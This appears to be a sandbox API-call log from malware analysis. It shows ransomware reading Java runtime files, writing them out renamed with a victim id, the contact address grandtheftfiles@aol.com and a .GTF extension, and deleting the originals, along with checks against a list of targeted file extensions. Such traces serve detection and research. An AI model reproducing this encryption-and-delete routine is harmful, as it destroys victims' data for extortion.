	[0158.981] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.981] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.981] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.981] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0158.983] GetLastError () returned 0x0
	[0158.983] ReadFile (in: hFile=0x4b4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x500, lpOverlapped=0x0) returned 1
	[0158.985] WriteFile (in: hFile=0x4a0, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x510, lpOverlapped=0x0) returned 1
	[0158.986] ReadFile (in: hFile=0x4b4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.986] WriteFile (in: hFile=0x4a0, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0158.986] SetEndOfFile (hFile=0x4a0) returned 1
	[0158.987] CloseHandle (hObject=0x4a0) returned 1
	[0158.987] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.987] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.992] CloseHandle (hObject=0x4b4) returned 1
	[0158.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0158.994] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1
	[0158.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.994] lstrlenW (lpString=".doc") returned 4
	[0158.994] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0158.994] lstrlenW (lpString=".docx") returned 5
	[0158.994] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0158.994] lstrlenW (lpString=".pdf") returned 4
	[0158.994] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0158.994] lstrlenW (lpString=".xls") returned 4
	[0158.995] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString=".xlsx") returned 5
	[0158.995] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0158.995] lstrlenW (lpString=".ppt") returned 4
	[0158.995] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.995] lstrlenW (lpString=".zip") returned 4
	[0158.995] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString=".rar") returned 4
	[0158.995] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString=".bz2") returned 4
	[0158.995] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString=".7z") returned 3
	[0158.995] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0158.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.995] lstrlenW (lpString=".dbf") returned 4
	[0158.995] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.995] lstrlenW (lpString=".1cd") returned 4
	[0158.995] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.995] lstrlenW (lpString=".jpg") returned 4
	[0158.995] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.995] lstrlenW (lpString=".doc") returned 4
	[0158.995] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString=".docx") returned 5
	[0158.995] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0158.995] lstrlenW (lpString=".pdf") returned 4
	[0158.995] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString=".xls") returned 4
	[0158.995] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0158.995] lstrlenW (lpString=".xlsx") returned 5
	[0158.995] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0158.995] lstrlenW (lpString=".ppt") returned 4
	[0158.996] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0158.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.996] lstrlenW (lpString=".zip") returned 4
	[0158.996] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0158.996] lstrlenW (lpString=".rar") returned 4
	[0158.996] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0158.996] lstrlenW (lpString=".bz2") returned 4
	[0158.996] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0158.996] lstrlenW (lpString=".7z") returned 3
	[0158.996] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0158.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.996] lstrlenW (lpString=".dbf") returned 4
	[0158.996] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0158.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.996] lstrlenW (lpString=".1cd") returned 4
	[0158.996] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0158.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0158.996] lstrlenW (lpString=".jpg") returned 4
	[0158.996] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0158.996] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0158.996] lstrlenW (lpString="javafx.properties") returned 17
	[0158.996] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0159.115] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=56) returned 1
	[0159.115] CloseHandle (hObject=0x4a4) returned 1
	[0159.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20
	[0159.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0159.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0159.528] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.528] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.528] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0161.073] GetLastError () returned 0x0
	[0161.073] ReadFile (in: hFile=0x4ac, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x38, lpOverlapped=0x0) returned 1
	[0161.076] WriteFile (in: hFile=0x4cc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x40, lpOverlapped=0x0) returned 1
	[0161.077] ReadFile (in: hFile=0x4ac, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.077] WriteFile (in: hFile=0x4cc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0161.077] SetEndOfFile (hFile=0x4cc) returned 1
	[0161.077] CloseHandle (hObject=0x4cc) returned 1
	[0161.077] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.077] SetEndOfFile (hFile=0x4ac) returned 1
	[0161.080] CloseHandle (hObject=0x4ac) returned 1
	[0161.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0161.082] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1
	[0161.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.083] lstrlenW (lpString=".doc") returned 4
	[0161.083] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0161.083] lstrlenW (lpString=".docx") returned 5
	[0161.083] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0161.083] lstrlenW (lpString=".pdf") returned 4
	[0161.083] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0161.083] lstrlenW (lpString=".xls") returned 4
	[0161.083] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0161.083] lstrlenW (lpString=".xlsx") returned 5
	[0161.083] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0161.083] lstrlenW (lpString=".ppt") returned 4
	[0161.083] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0161.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.083] lstrlenW (lpString=".zip") returned 4
	[0161.083] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0161.083] lstrlenW (lpString=".rar") returned 4
	[0161.083] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0161.083] lstrlenW (lpString=".bz2") returned 4
	[0161.083] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0161.083] lstrlenW (lpString=".7z") returned 3
	[0161.083] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0161.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.083] lstrlenW (lpString=".dbf") returned 4
	[0161.083] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0161.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.083] lstrlenW (lpString=".1cd") returned 4
	[0161.083] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0161.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.084] lstrlenW (lpString=".jpg") returned 4
	[0161.084] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.084] lstrlenW (lpString=".doc") returned 4
	[0161.084] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString=".docx") returned 5
	[0161.084] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0161.084] lstrlenW (lpString=".pdf") returned 4
	[0161.084] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString=".xls") returned 4
	[0161.084] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString=".xlsx") returned 5
	[0161.084] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0161.084] lstrlenW (lpString=".ppt") returned 4
	[0161.084] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.084] lstrlenW (lpString=".zip") returned 4
	[0161.084] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString=".rar") returned 4
	[0161.084] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString=".bz2") returned 4
	[0161.084] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString=".7z") returned 3
	[0161.084] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0161.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.084] lstrlenW (lpString=".dbf") returned 4
	[0161.084] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.084] lstrlenW (lpString=".1cd") returned 4
	[0161.084] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0161.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0161.084] lstrlenW (lpString=".jpg") returned 4
	[0161.084] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0161.085] lstrcmpiW (lpString1=".jfc", lpString2=".GTF") returned 1
	[0161.085] lstrlenW (lpString="default.jfc") returned 11
	[0161.085] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0161.085] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20109) returned 1
	[0161.085] CloseHandle (hObject=0x4ac) returned 1
	[0161.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20
	[0161.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.086] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0161.086] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.086] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.086] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0161.087] GetLastError () returned 0x0
	[0161.087] ReadFile (in: hFile=0x4ac, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x4e8d, lpOverlapped=0x0) returned 1
	[0161.090] WriteFile (in: hFile=0x4cc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4e90, lpOverlapped=0x0) returned 1
	[0161.091] ReadFile (in: hFile=0x4ac, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.091] WriteFile (in: hFile=0x4cc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1
	[0161.091] SetEndOfFile (hFile=0x4cc) returned 1
	[0161.091] CloseHandle (hObject=0x4cc) returned 1
	[0161.091] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.091] SetEndOfFile (hFile=0x4ac) returned 1
	[0161.094] CloseHandle (hObject=0x4ac) returned 1
	[0161.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0161.095] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1
	[0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.095] lstrlenW (lpString=".doc") returned 4
	[0161.095] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0161.095] lstrlenW (lpString=".docx") returned 5
	[0161.095] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0161.095] lstrlenW (lpString=".pdf") returned 4
	[0161.095] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0161.096] lstrlenW (lpString=".xls") returned 4
	[0161.096] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0161.096] lstrlenW (lpString=".xlsx") returned 5
	[0161.096] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0161.096] lstrlenW (lpString=".ppt") returned 4
	[0161.096] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.096] lstrlenW (lpString=".zip") returned 4
	[0161.096] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0161.096] lstrlenW (lpString=".rar") returned 4
	[0161.096] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0161.096] lstrlenW (lpString=".bz2") returned 4
	[0161.096] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0161.096] lstrlenW (lpString=".7z") returned 3
	[0161.096] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.096] lstrlenW (lpString=".dbf") returned 4
	[0161.096] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.096] lstrlenW (lpString=".1cd") returned 4
	[0161.096] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.096] lstrlenW (lpString=".jpg") returned 4
	[0161.096] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.096] lstrlenW (lpString=".doc") returned 4
	[0161.096] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0161.096] lstrlenW (lpString=".docx") returned 5
	[0161.096] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0161.096] lstrlenW (lpString=".pdf") returned 4
	[0161.096] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0161.096] lstrlenW (lpString=".xls") returned 4
	[0161.096] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0161.096] lstrlenW (lpString=".xlsx") returned 5
	[0161.096] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0161.097] lstrlenW (lpString=".ppt") returned 4
	[0161.097] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0161.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.097] lstrlenW (lpString=".zip") returned 4
	[0161.097] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0161.097] lstrlenW (lpString=".rar") returned 4
	[0161.097] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0161.097] lstrlenW (lpString=".bz2") returned 4
	[0161.097] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0161.097] lstrlenW (lpString=".7z") returned 3
	[0161.097] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0161.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.097] lstrlenW (lpString=".dbf") returned 4
	[0161.097] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0161.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.097] lstrlenW (lpString=".1cd") returned 4
	[0161.097] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0161.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0161.097] lstrlenW (lpString=".jpg") returned 4
	[0161.097] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0161.097] lstrcmpiW (lpString1=".jfc", lpString2=".GTF") returned 1
	[0161.097] lstrlenW (lpString="profile.jfc") returned 11
	[0161.097] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0161.098] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20065) returned 1
	[0161.098] CloseHandle (hObject=0x4ac) returned 1
	[0161.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20
	[0161.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0161.098] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.098] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
